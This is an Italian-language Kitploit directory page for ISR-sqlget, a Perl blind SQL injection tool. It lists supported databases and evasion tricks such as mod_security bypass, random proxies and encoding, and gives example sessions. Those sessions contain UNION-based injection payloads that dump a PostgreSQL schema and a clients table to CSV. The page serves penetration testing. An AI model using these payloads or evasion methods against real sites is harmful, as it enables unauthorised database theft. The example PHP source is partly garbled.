Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
isr-sqlget — ISR-sqlget È uno strumento di blind SQL injection sviluppato in Perl. | Kitploit
Strumenti/GitHubGitHub/infobyte/isr-sqlget
Analisi delle VulnerabilitàSfruttamento di Applicazioni WebPenetration TestingSicurezza dei Database
GitHubinfobyte/isr-sqlget

isr-sqlget

ISR-sqlget È uno strumento di blind SQL injection sviluppato in Perl.

Vedi Repository
14141413 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

-- ISR - Infobyte Security Research -- | ISR-sqlget | www.infobytesec.com |

..:: DESCRIZIONE

ISR-sqlget: è uno strumento di SQL injection blind sviluppato in Perl. Consente di ottenere gli schemi dei database e le righe delle tabelle. Usando una singola GET/POST puoi accedere silenziosamente alla struttura del database e usando una singola GET/POST puoi esportare ogni riga di tabella in un file di tipo csv.

Database supportati:

- IBM DB2
- Microsoft SQL Server
- Oracle
- Postgres
- Mysql
- IBM Informix
- Sybase
- Hsqldb (www.hsqldb.org)
- Mimer (www.mimer.com)
- Pervasive (www.pervasive.com)
- Virtuoso (virtuoso.openlinksw.com)
- SQLite
- Interbase/Yaffil/Firebird (Borland)
- H2 (http://www.h2database.com)
- Mckoi (http://mckoi.com/database/)
- Ingres (http://www.ingres.com)
- MonetDB (http://www.monetdb.nl)
- MaxDB (www.mysql.com/products/maxdb/)
- ThinkSQL (http://www.thinksql.co.uk/)    
- SQLBase (http://www.unify.com)

Funzionalità di evasione:

- Codifica Unicode Full-width/Half-width
- Bypass CR non standard di Apache
- Bypass di mod_security
- Trasformazione casuale delle richieste in maiuscolo
- PHP Magicquotes: codifica ogni stringa usando la funzione CHR del database o simile.
- Converti le richieste in valori esadecimali
- Evita la sostituzione dello spazio con /**/ o tab (\t)
- Evita la concatenazione non basata su || o + usando la funzione concat del database o simile.
- User-agent casuale
- Proxy-server casuale
- Ritardo casuale delle richieste

Funzionalità comuni:

- Blacklist per lo scaricamento degli schemi di database
- Supporto per array di cookie
- Supporto SSL
- Supporto proxy server
- Informazioni del database esportate in formato csv

Reporting:

- Graficazione della struttura del database per creare report esecutivi di impatto
richiede la libreria Graphviz (http://www.graphviz.org/)

..:: UTILIZZO

Lo strumento richiede le seguenti informazioni:

  • : Azione da eseguire?
  • : Dove?

Le possibili azioni sono:

Primo:
1. Ottieni lo schema del database.

Poi:
2.a Ottieni le righe delle tabelle (formato csv).
2.b Ottieni lo schema grafico del database.

..:: Esempio:

Target: http://target.infobytesec.com/helloworld.php?id=

sorgente di helloworld.php:

"; while ($tr = $database->fetch_row()) { print ""; print $tr['name']; print ""; } print ""; ?>

Leggi l'esempio di sessione (file di configurazione): ./helloworld.pm

Ottieni lo schema del database:

; bash# ./ISR-sqlget.pl -s -n helloworld ; -------------------------------------------------- ; Action: Get dbschema, Session name: helloworld ; -------------------------------------------------- ; ; http://target.infobytesec.com/helloworld.php?id=,id=1 union select 1,COALESCE((select nspname from pg_namespace ; where a.relnamespace =pg_namespace.oid),'0'::text)||'[]'||COALESCE(relname,'0'::text)||'[]'||COALESCE(attname,'0'::text); ; ||'[__]'||COALESCE((select typname from pg_type where oid=b.atttypid),'0'::text) from (pg_attribute b JOIN pg_class a ON ; (a.oid = b.attrelid)) where (attnum > 0 and ((a.relkind = 'r'::"char") OR (a.relkind = 's'::"char"))) --' ; from sqlite_master where type='table' --,GET ; ; bash#

Questo genera un file di schema locale in: ./template/helloworld.dbschema

Poi ottieni le righe delle tabelle:

; bash# ./ISR-sqlget.pl -d -n helloworld ;-------------------------------------------------- ;Action: Get DBDATA, Session name: helloworld ;-------------------------------------------------- ;-------------------------------------------------- ;Action: Get DBDATA, Session name: helloworld, DbSchema: helloworld.dbschema ;-------------------------------------------------- ;------------------------------------------------------------------------------------------------------------------------------------------------------ ;http://target.infobyte.com.ar/helloworld.php?id=,id=1 union all select id||'[]'||name||'[]'||address from ;company.clients --,GET ;Save source table: ./datos/helloworld.company.clients.sql.html ;Save csv table: ./datos/helloworld.company.clients.csv ;------------------------------------------------------------------------------------------------------------------------------ ;.....

Nella directory "./datos/" avrai due file per ogni tabella come segue:

[sessionname].[database].[table].sql.html # sorgente html [sessionname].[database].[table].csv # valori separati da virgola

Nota che "./datos" può essere specificato con il parametro $conf::outputdb nel file di configurazione della sessione.

..:: Avanzato

Lo strumento usa un solo tipo di colonna text/varchar/etc nella query SQL SELECT. Usando le clausole UNION puoi ottenere "in quella colonna" tutto lo schema del database usando "[__]" come delimitatore.

Quando hai già salvato lo schema del database locale, potrai:

1.a Ottenere le righe delle tabelle: Usando la stessa tecnica puoi ottenere tutte le righe di ogni tabella del database, le colonne con tipi di dati non compatibili con il testo vengono trasformate in tipo testo usando le funzioni native del database.

1.b Ottieni il grafico dello schema del database.

Lo strumento usa per ogni azione un file di configurazione della sessione. Questo file di configurazione definisce i parametri necessari per sfruttare la SQL injection. Il parametro @conf::path specifica il modo in cui l'HTML grezzo viene analizzato per lavorare con lo strumento.

Dettagli dell'help:

Usage: ./ISR-sqlget.pl [ACTION] [OPTIONS]

Action: -c: Controlla il modulo del parser -t: Ottieni la pagina di test -a: Ottieni tutti i nomi dei database (solo mssql) -s: Ottieni le strutture dei database -d: Ottieni le informazioni dei database (formato csv) -g: Grafico della struttura del database (formato gif)

Options: -n: Nome della sessione -p: (Usa con l'azione -c, specifica la pagina sorgente per controllare il modulo); Default ./template/$SESSION.testpage -v: Verbose -h: Aiuto

-t: Usando il file di sessione ottieni una breve tabella di sistema dati da usare con l'azione "-c" per fare il parsing dell'HTML grezzo in seguito.

-c: Di default usa ./template/[session-name].testpage. Viene usato per sviluppare e testare il parser dell'HTML grezzo. Puoi scegliere un altro file html usando l'opzione "-p".

-a: Tutti i motori di database usano il seguente ordine per ottenere le righe delle tabelle: 1. "-s" ottieni la struttura (salva lo schema del database in un file locale). 2. "-d" ottieni i dati delle tabelle.

A causa delle tabelle di sistema MSSQL dobbiamo aggiungere un passaggio precedente:
1. "-a" Ottieni tutti i nomi dei database di /schema/catalog (salva i nomi in un file locale).
2. "-s" ottieni la struttura (salva lo schema del database in un file locale).
3. "-d" ottieni i dati delle tabelle.

-s: ottieni la struttura (salva lo schema del database in un file locale).
-d: ottieni i dati delle tabelle.

-g: Usando il file di schema del database locale ottenuto in precedenza per ottenere lo schema grafico del database (formato gif)

-n: Specifica il nome del file di configurazione della sessione.

..:: Note

./pmschanges.txt: Usiamo una versione modificata di LWP, Net::HTTP che include metodi e specifiche CRLs Questo file spiega le modifiche.

./dbs/isr_*: Ogni modulo di database ha la variabile @space che specifica il tipo di spazio valido. Esempio: my @space=(' ',"\t","/**/"); #all spaces

..:: Opzioni del file di sessione:

Scarica lo strumento